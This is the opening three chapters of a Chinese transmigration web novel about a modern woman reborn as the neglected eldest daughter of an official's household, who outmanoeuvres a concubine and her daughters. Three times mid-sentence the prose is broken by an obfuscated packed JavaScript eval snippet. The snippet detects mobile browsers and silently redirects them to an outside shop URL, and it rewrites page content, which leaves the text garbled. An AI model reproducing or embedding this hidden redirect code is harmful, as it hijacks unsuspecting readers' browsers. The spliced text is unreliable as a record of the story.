《嫡女谋生计》 1. 第 1 章 “咚——咚,咚,咚,咚!” 梆子敲了五声,更夫拢了拢身上的夹袄,扯着嗓子低声喊道:“早睡早起,保重身体——”浑厚的低音乘着料峭的寒风,飘满了整个京陵城。 四下阒寂无人,只有更夫手上挑着的灯笼闪着丁点儿光亮,那团橙红色被黑黢黢的深夜拉长、抹淡,直至融入夜色之中。 整个京陵城还在春夜沉睡着,只有东侧长街孟府的一处院落亮起了稀稀疏疏的光。 孟徽月轻轻推开房门,见四下无人才打着哈欠儿伸了个懒腰。看着蒙蒙亮刚擦了一抹淡黄色的东方,弯腰抬腿热了热身,嘴里念念有词,舒展身体运动起来。 “第二套全国中学生广播体操,时代在召唤。” 孟徽月蹦蹦跳跳,左转右转扭来扭去,不一会儿就气喘吁吁,头上冒了一层薄汗。 “姑娘又在锻炼了,这个天儿也不怕冻着……”一个圆脸圆眼身着绿衫的小丫鬟看了眼蹦蹦跳跳的孟徽月,笑着摇摇头,蹑手蹑脚地端水折回房间。 一套广播操终于结束,孟徽月喘着粗气儿跌坐在石头上,掏出手绢细细擦拭着头上的汗,尤嫌不够又从石桌上拿起一把绢扇扇了几扇。 这具18岁的身体实在是太差了! 想想穿越前,自己可是身轻如燕!在基层走访,那山路一走就是两个多小时!哪像如今……才跳了4分钟就上气不接下气…… 孟徽月捏了捏酸胀的小腿,心中感叹道。 想要在这浑水没腿的孟府混得下去,身体才是革命的本钱啊! 看样子要慢慢加大锻炼力度了……她心里盘算着。 “姑娘!这天儿还冷着呢,你刚刚才出了一身汗,怎么能扇扇子呢!”从屋里退出来的绿衫丫鬟急得直跺脚,可又怕惊醒了其他人只能压低了声音责怪道。 “不打紧吧,这扇子扇得还没这晨风大。而且小园啊,你好歹也是碧玉年华,怎么越发像个操心的老妈子了……” 那个被唤作小园的丫鬟三步并作两步快速走来,摸了摸孟徽月的额头,见并未发烫才松了口气,瞪着圆溜溜的大眼睛:“还不是姑娘你总是不让我放心!这才刚刚痊愈就不注意自己的身体,月前你还高烧不退呢,现在就是怎么小心也不为过!” “好好好,真是怕了你了!” “我刚刚热好了补药,姑娘快趁热喝了吧。” 看着面前黑得发紫的药汤,孟徽月皱着眉头,一脸不情愿地捏鼻子灌了个干净。 向小园迅速将一颗蜜枣塞进她的嘴巴。 “真苦!这药不知道还要喝多久……” “自然是要听大夫的,姑娘你寒冬腊月掉进那池子里,大夫说是寒邪入体,湿冷浸骨,可得养好一阵儿呢!” “光靠补药看来是无用……”徽月看着药碗喃喃自语,“吃食单一,再加上天天困在这府里运动量不足,得补充维生素才行……” 身上忽然一重,孟徽月回头,小园给她披上了件月白色细锦斗篷。 “谷雨那几个丫头没醒吧?” “没呢,我刚刚去看了眼,那几个小妮子还在呼呼大睡呢。” “府里那几房呢?“ “我听着任姨娘她们的折春阁细细簌簌的,估计是老爷准备去上早朝了。徐姨娘的云裳苑那边还没动静。” 孟徽月拢了拢身上的斗篷起身:“那咱们也该回去了,继续演那柔弱的林家妹妹去。” 小园扶着孟徽月走进屋内,轻叹了口气:“姑娘每日寅时正刻便起身操练,又要赶在那几房发现前回去,堂堂孟府嫡长女,在自己家居然跟做贼一样的不自由……”说着说着便红了眼圈。 徽月轻轻拍了拍她的肩膀:“韬光养晦才能厚积薄发,只要咱们沉得住气,步步为营,定能心想事成!” “我不敢奢求什么,只要姑娘你能嫁个好人家,半辈子能安稳幸福,纵是叫我吃再多苦我也愿意的。可如今这门婚事……” “什么吃苦不吃苦,咱们将来可都是要过上好日子的。而且这婚事能不能成还另说呢……” “姑娘你什么意思……” 孟徽月脱了外衣躺在床榻上:“没什么意思,待会若有人来,记得可别说漏了嘴。” “知道,姑娘这几天虽有好转可身体还是虚弱得很,每每起床走上两步就要气喘吁吁地,大夫嘱咐要好生休养谢绝拜访……” 小园像背书似地回道,见徽月满意地点点头才福了福身,掩门退了出去。 孟徽月见四下无人,撩起袖子露出左手的白底青翡翠手镯。镯子通体细腻如雪,水头充足,光泽柔润,尤其玉白之中飘着一抹阳绿色,灵动至极,令人挪不开眼。 她将食指按在那抹阳绿色上,见镯子微微泛起一层金光后小声说道:“阳春白雪,打开网上商城。” 这只白底青的手镯连着未知的智能系统,唤醒后能进行扫描、管理、购物、储存等一系列操作。 徽月给她起了个十分应景的名“阳春白雪”。 “好的,已打开网上商城。” 一个只有她能听见的机械女声响起,随后凭空出现一个透明面板,首页标题赫然写着:青鸾网上商城。 “这么贵!”徽月搜索“维生素”三个字后,看着价格惊叫出声。 “姑娘?”小园的身影出现在门外,“怎么了?” “没事没事,我不小心磕了下。” “严重吗?要不要我进来看看?” “不用不用,轻轻一下不要紧,我要睡了,你也快回去歇着吧。” 门外的身影顿了顿,离开了。 徽月看着维生素下红红的大字:一两银子,没忍住翻了个白眼。 什么黑心商家,一两银子可是普通县令一个月的俸禄,三口之家可用一年!虽说是现代世界的东西,可一瓶小小的维生素这么贵是不是太过分了? 嘴上虽然吐槽着,可徽月还是老老实实翻了个遍,好不容易凑齐了1两银子。刚点下购买键,只见银子金光一闪凭空消失!取而代之的是桌子上一瓶未拆封的维生素。 她取出一粒咽下,又长按那抹阳绿吩咐储存,只见镯子射出一抹白光,将维生素吸进了储存空间。 做完这一切,孟徽月躺在床上盯着房顶的横梁发起了呆。 前世自己在基层驻扎五年,哪知一日雨夜下乡走访遇上了泥石流,醒来便成了大周朝礼部员外郎孟瞻儒的嫡长女-------孟徽月。 她花了整整三天才接受了这个事实,心想既来之则安之,这六品官员的嫡长女怎么也该是被百般呵护的天之骄子,可本以为是洞天福地,没想到是麻烦聚集。 生母早逝,亲父糊涂,姨娘把权……原主在这个家几无立足之地!还没等她熟悉这里的一切,另一个噩耗紧接着便砸了过来。 亲父竟要将她嫁给年过60的康国公作为继室!别说接受过现代教育的她,纵是原主也无法接受,一气之下寒冬腊月跳进了池塘。 自她醒后,父亲和那掌家的任姨娘只来看过一次,吩咐小园她们悉心照顾便拂袖而去再未来过。自己的亲弟弟更是连面都没露过,倒是徐姨娘来看过自己几回,劝自己想开点,什么都没有自己的身子重要。 思绪飘了太远,孟徽月躺在床上越想越困,只觉眼前的横梁变成了好几条,没一会儿就睡了过去。 睡了约莫一个时辰,就听外面闹哄哄的,小园像是和什么人起了争执。 徽月只觉得头疼,揉揉眼睛仔细听去,感觉那争吵声又近了几分。 “任姨娘和老爷让我来看看大姑娘,你是什么东西敢堵在门口?” “自古奴婢进主人房哪有不通报的?我说去通传一声,尤妈妈为何偏要硬闯?” “我是任姨娘身边的一等女使!你这个小丫头连我也敢拦?” “你不能进去!这是我们姑娘的结海楼,你……不能随意进去……” “你个小丫头放开我!放开!” 几句话间,孟徽月听懂了来龙去脉。她清了清嗓子,出声道:“小园,让这位妈妈进来吧。” 房门打开,走进来一位年将三十的妈妈,身着墨蓝色直领小袖对襟褙裙,外罩黛色比甲,眉梢里是藏不住的打探与精明。 看着床榻上脸色苍白的孟徽月,尤妈妈心中不禁感叹道,大姑娘倒真是将夫人的美貌遗传了十成十! 未施粉黛,可肌肤如玉,肤白胜雪。乌丝般的黑发散落在床榻上,一黑一白,明暗相应,如泼墨山水,悠远深长,气质沉静。 “原是尤妈妈来了,可是有什么事?”孟徽月坐起身连着咳了几声,向小园赶忙上前将枕头堆在她的身后,拢了拢被子生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588005|205365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕进风。 “大姑娘安好?姨娘让我来看看姑娘恢复得怎么样了,看看这院儿里还缺什么东西。”尤妈妈并未行礼,抬着头傲然看向孟徽月。 “任姨娘处处安排妥帖,我这里什么都好。” “看大姑娘精神这么好我也就放心了,姑娘您跌进那池子可着实把一家子吓坏了!大婚在即,您可千万不能有什么闪失啊!毕竟这婚事自古便是父母之命,媒妁之言,自己有主意也不作数啊!大姑娘您说是不是?”尤妈妈嘴上不停,不住地拿眼觑着孟徽月。 “这是自然。”孟徽月只回了四个字,便抱着手炉笑眯眯地不再说话。 屋内流淌的空气一下子凝固了。 尤妈妈还想再问点什么,可无论说什么孟徽月都是一副笑眯眯的样子,不急不躁。 这丫头怎么突然这么沉得住气了? 尤妈妈心里嘀咕,平时两三句话就能引得眼前这位发火,今儿个怎么……莫不是大病一场连性子都变了? “尤妈妈莫不是还有事?” 尤妈妈心里还在盘算着,猛地听到孟徽月说话,愣了一下随即笑着应道:“原是老爷让我来的,说大姑娘若无碍,便请您去祠堂一趟。” “我稍作收拾便随尤妈妈过去。” “我便在外面候着,烦请姑娘尽快。”尤妈妈转身正准备退出去,却听身后孟徽月说道。 “尤妈妈来孟府几年了?”孟徽月正由向小园服侍穿衣。 “回大姑娘的话,有十多年了。” “原来这么久了,我以为尤妈妈刚刚入府不明规矩呢。” 尤妈妈一脸懵:“大姑娘这是何意啊……” “大周朝向来以礼治天下,君君,臣臣,父父,子子,众人各司其职,才得以百业昌盛。如若不顾嫡庶尊卑,父不父,子不子,那必然深埋祸端,引得后患无穷。况且我们孟府规矩森严,尤妈妈这般尊卑不分,传出去岂不是叫人笑话?” 尤妈妈脸色变了变。 “尤妈妈我且问你,我是谁?” “您是大姑娘啊……” 许久没听到回答,尤妈妈抬头,正在桌前梳头发的孟徽月正通过铜镜盯着自己。 眼神犀利,如箭镞直射而来,令人不寒而栗。 那种上位者的压迫一下子涌了过来。 尤妈妈冷汗直冒赶忙低下头去:“您是这孟府里老爷的嫡亲长女。” “尤妈妈一口一句婚事的,那我问你出嫁后呢?” “是……是……是康国公的继室正房大娘子……” “尤妈妈知道便好,妈妈未曾通报便要闯门,进屋也不曾向我行礼,不知道是哪里学的规矩。往小了说,只会让父亲觉得折春阁御下不严,奴仆爬到了主子头上。若是往大了说,那便是孟府家风不严,管家无能,礼数不周,如果影响了父亲的仕途不知道是会罚任姨娘还是尤妈妈你呢?” “大姑娘,老奴……老奴不敢啊……”尤妈妈腿一软匍匐在地。 孟徽月扶着尤妈妈起身,眼睛弯成了一抹新月:“我当然知道尤妈妈你不敢,可外人不会这么想。我这是为妈妈着想才多了这一嘴,尤妈妈可不要介意啊。” 尤妈妈低垂着头:“老奴不敢……” “那自是最好,我们走吧尤妈妈?莫要让父亲等急了。”孟徽月虚扶了一把朝门口走去,使了个眼色让向小园跟上。 尤妈妈松了口气,双腿虚软扶着门框才没跌倒。 她看着孟徽月的身影,劫后余生般喘着粗气。 大姑娘和以前不一样了…… 小园搀着徽月缓缓走在抄手长廊,看着几步之外的尤妈妈,压低声音道:“姑娘今日朝尤妈妈发这通火,虽是解气,可指不定折春阁那位要怎么在老爷眼前嚼舌根呢!姑娘早上不还说要韬光养晦的么……” “傻小园,韬光养晦不是任人揉搓!连府里下人都敢欺负到我们头上,咱们是已经退无可退了!正好借着今儿个这件事让他们心里头清楚。” “清楚什么?” 祠堂已近在眼前,孟徽月安抚地拍拍小园的手:“清楚我还是这孟府里的主子!这些人畏威不畏德,不震慑住了以后咱们行事可不方便。” 她刚踏进祠堂还未站稳,便听见屋内一声厉呵劈来: “孽障!还不给我跪下!” 2. 第 2 章 形势比人大,孟徽月心里纵使有千般不情愿,也还是跪了下去。 只不过……机智地跪在了厚厚的蒲团上。 “孽障啊孽障!我怎么生了你这么个来讨债的女儿!身体发肤受之父母,你呢!居然一言不合便寻死觅活的,可有一点官家女眷的样子?” “老爷,你消消气儿,有话坐下来慢慢说。大姑娘也不是孩子了,怎么能不知道您一片慈心全然为了孩子呢?这婚事是旁人求都求不来的呢,大姑娘会明白您的苦心的!” 孟瞻儒年方四十,一身绣着鹭鸶的青色盘领公服还未脱下,素银束带挂在腰间,看样子刚下朝回来,这会儿正抱着乌纱帽指着孟徽月气得发抖,任姨娘在一旁不住地给他顺着气儿。 孟徽月打量着这个掌管孟府内宅十多年的女人,年纪不过三十,一身蜜粉色银丝梨纹万福长裙衬得她极尽娇嫩,勾人双眸媚眼如丝,看向孟瞻儒的眼神蓄了无尽秋波,妥妥的现代电视剧狐狸精的长相。 她猩红的嘴唇一开一合,嗔怪地劝道:“大姑娘这是还没想明白呢,若想明白了哪有不嫁的道理,老爷你得慢慢来。” “慢慢来?我还能等她慢慢来吗!这婚事过了纳吉,康国公不日就要来咱们家纳征了!可你猜怎么着?这死丫头跳湖的事不知怎么就传出去了,今日上朝就连兵部的王大人都专门跑过来问我,我只能说小女自小体弱,寒风浸体给掩了过去!这个孽障!孽障!弄得整座京陵城都知道我家出了个逆子!这让咱家清誉往哪里搁!” 孟瞻儒原本那张一团和气全无城府心机的脸,因盛怒扭曲至极,脸颊两旁的肉堆在一块儿,显得整张脸面目狰狞。 他挥着巴掌就要打过来,跪在孟徽月身后的向小园冲过来护在她面前。 “老爷息怒啊老爷!姑娘家可打不得,打不得啊!” 任姨娘拦住孟瞻儒,一脸焦急地说道:“所谓孝子之至,莫大于尊亲。大姑娘你快告诉老爷,你愿意嫁人,快啊!” 孟徽月看着两人一唱一和,心中只觉好笑。那康国公年过六十,家里的孩子个个都比她还要大,况且自己是作为继室嫁过去的,国公府里破事一堆,简直是个污糟地儿。这桩婚事若真这么好,怎么不是任姨娘的两个女儿? 可大周朝遵循三纲五常,一个未出嫁的女儿想要在家里活得下去,只能牢牢掌握住父亲的心。 这两个月里徽月早就看透了这一点。 嫡长女又怎么样,爹不疼,没娘爱,就是地里的小白菜。结海楼里除了小园,只有四个洒扫丫鬟两个妈妈,吃穿用度朴素地省不出一两银子。任姨娘暗地里敢这么做,便是摸透了孟瞻儒心里早对这个女儿没半分亲情。 想到这儿,徽月脸上摆出一副伤心的模样,手绢掩着重重咳了几声,俯身跪拜泫然欲泣: “还请父亲息怒,女儿种种行迹让父亲大人日夜忧心,实乃不孝!徽月无言面对父亲,只望父亲平平肝火,切莫怒火攻心,定要保重身体啊!一家子骨肉血亲有什么不能坐下来好好说的呢?息怒啊父亲大人!” 一番话说得孟瞻儒一愣,要打人的手顿在半空,看向孟徽月的眼神多了几分探究。 这个女儿自小便像个炮仗一点就着,今日怎么竟懂得服软了? 他和任姨娘交换了个眼神:莫不是大病一场想通了?这婚事有戏! 孟瞻儒干咳了一声,捋了捋散乱的前襟,正准备坐下,就听见孟徽月漫不经心地说道: “只是父亲,女儿有一事不明。自古外男不入内宅,那日父亲严令阖府下人不准宣扬此事,对外只说女儿身体欠安,那兵部王大人如何知晓女儿落水一事呢? 孟瞻儒一愣。 当时王大人一提此事,自己只觉得被下面子狠了,未曾细想。孟徽月这么一说,他心里便生出了几分疑窦,瞥了一眼任姨娘,转头示意孟徽月说下去。 “女儿仔细一想,这原因无非两种。一是家中奴仆无意间透露出去的,闲聊中口无遮拦,说者无心听者有意,就这么一传十十传百,传到了王大人耳朵里。” 孟徽月跪在蒲团上,眼睛直直地看向孟瞻儒。 “第二,便是这府里下人有人生了异心,私下将咱们孟家的事情事无巨细地传给他人!” “不可能!”任姨娘下意识否认道。 “姨娘未曾查验,怎么就能断定不可能呢?” “我管家数十年,府里都是一些用惯了的老人,知根知底的,怎么可能背弃旧主?大姑娘莫不是仍对我有意见,这才寻了个罪名按在我头上。都道管家三年,猫狗也嫌,这家我不管也罢,老爷看谁稀罕谁拿去吧,省得走到哪儿都不招人待见。”说着掏出管家对牌钥匙扔在桌上,用手娟不住地揩着泪。 “你这是做什么!就爱使小性子,谁说你的不是了?快快快收好。”孟瞻儒哄了两句,转头训斥孟徽月:“我可真是把你养坏了!容儿怎么着也是你的庶母!你背后就这么嚼舌根得?” “我知道大姑娘心里还在记恨我,可是我是真心爱老爷的啊!夫人都原谅我了,大姑娘究竟要我怎么做才能安心呢?大姑娘你说,我一定照办啊!”任姨娘哭着扑到孟徽月身上不能自己,我见犹怜。 孟徽月一脸忧戚扶住任姨娘:“姨娘这是说得哪里话啊!徽月一直钦佩您将这个孟府管得井井有条,将两个妹妹生养得如此知书达理。况且刚刚徽月字字句句说得都是家中奴仆,何曾说过您一丁半点不是啊!” 任姨娘一愣,连哭都忘记了,惊讶地看向孟徽月。 这丫头以往早就跳起来发火了,她一闹这理不在自己这边都不成,孟瞻儒只会更加厌弃这个女儿,可如今…… “你口口声声意思不就是秀荣管家不严吗?” “父亲明鉴!店大欺客,刁奴欺主!任姨娘最是和善,管家这数十年只怕有些刁奴早就摸清了她的脾气秉性偷偷算计,任姨娘也是被蒙骗其中,何错之有啊!就如今日尤妈妈未曾通传便登堂入室,若有客人在,岂不是让人贻笑大方?”孟徽月一脸忧容,“而且父亲如今官列六品,家中奴仆若无规无矩,异心四起,轻则让外面人以为咱们孟家管家不严,重则传出去父亲仕途想再上一步便是艰险万分!若家中不是铁板一块,而如被蚁蛀千疮百孔,一步行差踏错,孟家岂不危在旦夕?” 几句话说得孟瞻儒不寒而栗。 孟徽月说得没错,当日自己严令下人不得将此事外传,可王大人还是知道了,这府里究竟有多少人心向着外面,想看自己的笑话…… 想到这儿孟瞻儒猛地一拍桌子:“这些刁仆!府里的人都给我好好严查一遍!行迹诡异的全部给我轰出去!” “父亲若一味严罚只会让人心涣散,有异心的可发卖,留下的忠仆却也应该优待,咱们才刚刚在京陵城站稳脚跟,可不能落下个苛待奴仆的名声。” 孟瞻儒心思一转:“此话有理,这个倒也容易,容儿回去将府内下人整饬一番,留下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588006|205365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月钱涨上一涨,也好叫他们更加忠心。” “徽月替全府下人谢过父亲。” 任姨娘手绢遮掩下脸色微变,随即换上了一个湿漉漉的笑:“是妾身的错,总想着咱府里的人都不容易,心软了些,这才险些酿下大错。妾身回去定好好整治下人,老爷只管放心。” “你呀,就是太心软,管家这些年还是这样,御下需严才是。” “妾身知道了。”任姨娘低头起身,将额边一缕细发挽在耳后,貌似无意地说道:“虽说是下人们口风不严,可大姑娘若早早应允了婚事,老爷今日怎么会丢了面子……” 孟瞻儒一听,瞬时又想起这个嫡长女先前摔碗砸瓶哭闹着不肯嫁人的模样,气从心来,刚要开口,便看到孟徽月直直拜了下去。 “女儿不孝,让父亲日夜忧心。经此一场大病女儿想通了,徽月愿意嫁人。” 孟徽月从祠堂出来时已是辰正二刻,早春的太阳俨然已有了夏日的几分毒辣,挂在东方的天空散着刺眼的光亮,晒得人懒洋洋的。 徽月沿着抄手回廊缓缓走着,东园的景色尽收眼底。 孟瞻儒自诩清流,迁府时特意请匠人精心设计,尤其是这东园,由苏南名匠一手打造。一亩不足的园林随曲合方,借景之妙,拜访作客之人无不称赞其“虽由人作,宛自天开”。 高台,深室,曲廊,竖石,疏密相间,错落有致,雅中有章。一汪湖水之上有两丈高的假山,均是“透、漏、瘦”的太湖石,山形错落有致,曲折回转,有高有凹,有曲有深,有峻而悬,有平而坦,浑然天成。湖边繁花覆地,矮松与芍药,海棠掩映成趣,闲闲即景,寂寂探春,行看百花笑春风。 “咱们去融月亭歇歇脚吧。”虽是早春,日头下还是有些热,景虽美,可徽月走几步便有些喘,指着远处的亭子对小园说道。 亭子依水而建,晚间明月悬空,皎洁如圆盘铜镜,孟瞻儒亲题“融月亭”,是每年中秋的绝佳赏月之地。 登之凉风习习,水畔清爽习朗,孟徽月坐在长椅上,微微闭上了眼睛。 “姑娘真愿意答应这门亲事吗?”向小园站在一旁,绢扇微扇,见四下无人轻轻问道。 “你觉得我会答应吗?” “换做以前,姑娘定不会答应的。可是……” “可是什么?” “可是姑娘自从大病一场后,奴婢总觉得姑娘和以前有些不一样了……就像……就像变了一个人一样……” “那你觉得这变化是好还是不好呢?” “自然是好的,以前姑娘性子太急,任姨娘和二姑娘三姑娘她们一挑拨就发火,那几位一哭,理就全跑到她们那儿去了,老爷便只罚姑娘一人。可是今天姑娘三言两语,便把任姨娘的错处抖了个干净。” 向小园认识的那个孟徽月,早就死在那场寒冬里了。 徽月保存着原主之前的记忆,深知其与向小园的感情深厚。两人自小一块儿长大,母亲死后,她们相依为命,在诺大的孟府里小心求生,向小园是这府里为数不多可信任的人…… 孟徽月拉着小园的手轻轻拍了两下:“你放心,那国公府虎狼之地,我可不愿意进去胆战心惊地活着,今天答应只是权宜之计。” “姑娘是有打算了?”向小园眼睛亮了亮。 “自然。”孟徽月招招手,小园把耳朵凑了过去,“只有这个孟徽月死了,另一个孟徽月才能在大周朝自由自在地重生。” 3. 第 3 章 “什么?”向小园惊喊出声,随后赶忙用袖子掩住嘴巴,四下看了看,见无人才放下心来。 “什么死不死的,姑娘说话也没个忌讳……这种东西是能随便说的吗?”向小园皱起眉头半责怪半忧心地说道,“奴婢知道,自从夫人去世后姑娘心里一直憋着一股气儿,任姨娘一贯巧言令色,哄得老爷是什么都听,什么都做,可怜姑娘你一个嫡女过得还不如二姑娘她们……” “就是说啊,一手好牌打得稀烂……”孟徽月嘀咕道。 “什么稀烂?” “没什么没什么……小园你放宽心,这场大病我也是想通了,万事皆空,好好活着才是真理,才不辜负母亲……” 才不辜负老天又给了我新的生命。 孟徽月在心里说道。 “姑娘,虽然你不爱听,可是这话我还是得说,你和大公子毕竟是同胞姐弟,打着骨头连着筋呢……” “孟连筠啊……” 徽月回忆起自己重病的那两个月,这个所谓的亲弟弟可是一次都没来过。这个孟府骄傲的嫡长子一心只想着怎么攀上一门好亲事,能在仕途上给自己更多助力。对孟徽月这个亲姐姐,只觉得是拖自己后腿的包袱而已。 想到这儿,孟徽月不由地冷哼一声:“他?即使血脉相通,也不一定能称作亲人……我重病时他来过几次?倒是你日日守在床前为我擦汗喂药……你我虽全无血缘关系,可却是这世间相依为命的两人,与其寄渺茫的希望于孟连筠,不如我们俩自己拼条出路。” “姑娘……”向小园有些哽咽,“小园五岁被夫人带进府里伺候姑娘,如今已有十余年,小园心里只希望姑娘能够幸福,只要姑娘能幸福,小园无论做什么都是愿意的!” “路遥知马力,日久见人心,我自然是知道你的。”孟徽月伸手抓了一把春风,可春风不知意,匆匆从指尖溜走,手中空空如也。 她起身:“小园,咱们回结海楼吧,我心里有个计划,咱回去关上门细细说。” “大姐姐怎么才坐了这一会儿便要走啊?莫不是见我们来了,不愿同坐呀?” 石阶下传来一声儿阴阳怪气的女声。 孟徽月转身,果然是孟琴月和孟书月两姐妹。 真真是不是冤家不聚头。 站在最前面的是孟琴月,似笑非笑望了过来。她比徽月小上两岁,平日里最不服这个嫡长姐。 那攻击性极强的一张脸,细细看过去竟与年轻时的孟瞻儒有七成相像。一双剑眉竖起划过长空,骨骼分明棱角锋利的脸蛋英气十足,单眼皮裹着那狭长的眼睛,目光似射出的把把短剑,直击孟徽月。 上一句似乎还未说够,紧接着又出声嘲讽:“大姐姐作为嫡女可真是妹妹们的楷模啊,竟为了拒婚不惜寒冬投湖,怕是女德没有细细读过吧。” 书月躲在姐姐身后,身段曼妙如一朵盛开的桃花明媚,如弱柳扶风,盈盈不堪一握,似乎下一秒就要跌倒,手绢打掩儿似地遮住了脸,不停地拉着琴月的衣袖:“二姐姐别再说了,不然让父亲和姨娘知道了又要生气的。” 可那透着精明的一汪碧眸,微微抬眼,转着圈儿追着徽月打量,嘴角微微上扬成一个奇妙的弧度。 徽月走下台阶时在心里叹了口气,她今日可没有功夫陪两个小孩子打嘴仗:“妹妹们来了,这亭内风景可真是春光无限,我还有事就先走了,不打扰妹妹们赏春景了。” 琴月一听拦住她的去路:“大姐姐这一病两个月,妹妹们可是想念得紧呢,这段时间流水的补品送进结海楼,大姐姐吃得还习惯吗?”说着假装无意地摸了摸头上那支镀金缠丝金蝶步摇,蝴蝶的翅膀上装饰着颗颗红宝珠,阳光下流转着七色光芒,熠熠生辉。 “二妹妹这步摇真是精品,三妹妹这支赤金嵌红宝珠海棠花步摇也很精致呢。”徽月上手撩起琴月步摇上的流苏,仔细欣赏着,“两位妹妹可真是姨娘心尖儿上的宝贝……” “那是自然,姨娘自是对我们千依百顺的,大姐姐可不要羡慕啊。”琴月说话夹枪带棒,眉宇间尽是受宠孩子的得意,“哦对了,我忘了姐姐的母亲早就不在了……姐姐对不住呀,提到了你的伤心事……” 琴月这话失了分寸,书月眉头微微皱了下,然后一把握住徽月的手:“二姐姐不是故意引起大姐姐不快的,大姐姐是知道的,二姐姐一贯心直口快,想什么便说什么,不曾考虑太多,如果冒犯了大姐姐,书月愿替二姐姐赔罪。”说着从头上取下那支步摇放在徽月手中,“这支海棠花步摇还请姐姐收下,姐姐的结海楼太过清苦,妹妹每每想到都觉得心疼得紧。” 真是楚楚可怜啊!双眸含泪泫然欲泣,柳眉如叶勾的人心生荡漾。这个十三岁的小姑娘才是将任姨娘的手段学了个十足,不像她那个三两句就被挑唆得冲锋陷阵的姐姐。 “三妹妹这是说得哪里话啊,姐姐再怎么样也不能抢妹妹的心头好呀。”徽月将步摇插回书月的发髻上,正了正位置,又贴心地将碎发替她别到耳后,“这步摇果然还是最配妹妹,一步一动,真真是灵动极了。” 孟书月的眼神暗了暗。 徽月挑挑眉,她要是真收了这步摇,不知道这两人会去父亲面前怎么颠倒是非,说不定就成了自己心生怨怼生生抢了过来…… 现阶段她要做的是重新赢得父亲的欢心。 在这深宅里,只有孟瞻儒的宠爱,才有助于下一步的计划。 “真是太可惜了。”琴月摆出一副惋惜的表情,“大姐姐不知何时才能见到这么好的东西了……” “折春阁一向好东西不断,府里人尽皆知,这得益于任姨娘深受父亲宠爱,可是……”徽月掩袖咳了两声,上前一步贴近孟琴月的耳边轻声说道,“所谓登高必跌重,想赢得一个人的欢心很难,要付出十分的努力或许只能收获七分的结果。”徽月看向后方的书月,“可要毁掉一个人的欢心可就太容易了,一句话,一个无意的举动,就可以轻易做到……” “你什么意思?”琴月皱起眉头撸起袖子就要上前,被书月一把拉住,“二姐姐,姨娘今日得了极好的庐山云雾,再不去怕是要没了。” 这两人一个莽夫之勇,一个黄雀在后。徽月摇摇头,不理会二人转身朝结海楼走去。 “我话还没说完呢,你别拉我啊……书月……” 书月拉着琴月走了几步,见看不到徽月的身影,才松开手,拿起帕子细细擦拭着手心的汗渍。琴月恼怒地夺下帕子:“你干什么!我话都没说完你就拉我走,像个逃兵一样多没面子!” “二姐姐还是省省吧,再吵下去你也占不到什么便宜。”书月示意侍女再递过来一张干净帕子。 “胡说!哪次吵起来父亲不是站在我们这边?” “那是以前……你没听姨娘说尤妈妈被发落到郊外的宅子去看田地了吗?” “什么时候的事!”琴月一惊,尤妈妈虽不是姨娘心腹,可多少也是得力之人,怎么会…… “今早的事,是父亲下的令。咱们原本以为借着今日朝堂之事父亲会更厌恶孟徽月,谁承想她三言两语就把这责任扔给了姨娘,又连消带打处置了尤妈妈、借着姨娘的手整顿了下人,最后留下的还因为涨了月钱记着她的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588007|205365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一石四鸟,咱们这局可输得太彻底了。”书月擦拭完将帕子扔给侍女,替琴月理了理有些散乱的衣襟,“二姐姐还是小心行事吧,别打不着狐狸还惹了一身骚。” 琴月皱着眉打开她的手:“还用不着你来教我。”说罢扭头朝折春阁走去。 蠢材! 书月眼神冷冷的,全然没有平日里的温柔。她理了理发型,重新换上一抹娇柔的笑,施施然朝折春阁走去。 结海楼位于孟府西北角,是一处偏僻幽静的小院落,相比任姨娘的折春阁显得朴素了很多。 院门门头的朱漆已有些斑驳,一进门便是两棵郁郁葱葱的老梧桐,树冠如伞遮天蔽日,让人无法一窥院中真容。石阶布满苔藓,曲折延伸至院内,两旁各种了一排翠竹,漫天的青绿压下了春日的燥热,春风吹过都被绿洗出了几分凉意。西面种了几棵樱桃树,小徽月学着诗里说得又添了几棵芭蕉院内一角凿了一汪小潭,香樟和枫树环抱潭水,待到了秋季,幽绿的潭水映着红枫绿樟,好一幅烂漫的秋景图!因此潭上小亭曰醉枫亭,秋日坐在亭中,仿佛置于晚霞的拥抱,令人心醉。 初春已至,潭前的玉簪和玉兰已开出洁白的花瓣,有几朵顺着春风飘到潭内,好一处“花自飘零水自流”! 孟徽月很喜欢这处小院,虽不大,可雅致地很。原来的孟徽月不喜出门,辟出一地修了间小书房,每日便在里看书,写字,不闻窗外事。 “大姑娘回来了,小厨房里还煨着药,姑娘可要现在喝?”正在擦拭桌柜的芒种福了福身。 “端到书房吧。” 